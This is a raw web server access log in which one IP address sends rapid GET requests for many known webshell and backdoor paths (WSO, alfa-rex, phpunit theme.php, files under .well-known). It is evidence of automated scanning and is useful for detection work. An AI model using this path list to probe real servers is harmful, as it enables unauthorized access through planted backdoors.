[29/Apr/2025:14:48:13 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:13 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:13 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:13 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:13 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:14 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:14 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:14 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:14 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:15 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:48:15 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:15 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:15 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:16 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:16 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:16 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:16 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:17 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:17 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:17 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:17 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:17 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:17 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:18 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:18 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:48:18 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:18 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:18 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:18 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:19 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:19 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:19 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:19 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:20 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:20 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:48:20 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:20 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:21 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:21 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:21 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:21 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:22 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:22 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:22 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:48:22 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:22 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:23 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:23 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:48:23 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:23 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:48:23 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:24 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:24 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:48:25 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:25 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:25 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:26 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:26 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:26 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:26 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:26 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:48:27 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:48:27 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:27 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:48:27 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:27 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:48:28 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:28 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:28 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:28 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:29 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:30 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:30 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:30 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:31 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:31 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:48:32 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:48:32 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:33 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:48:33 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:33 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:34 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:48:34 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:35 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:35 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:36 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:36 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:37 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:37 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:48:37 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:38 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:38 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:38 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:38 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:38 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:38 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:39 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:39 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:39 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:48:39 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:39 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:48:40 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:48:40 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:40 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:48:40 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:48:40 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:41 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:41 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:41 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:41 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:41 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:42 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" 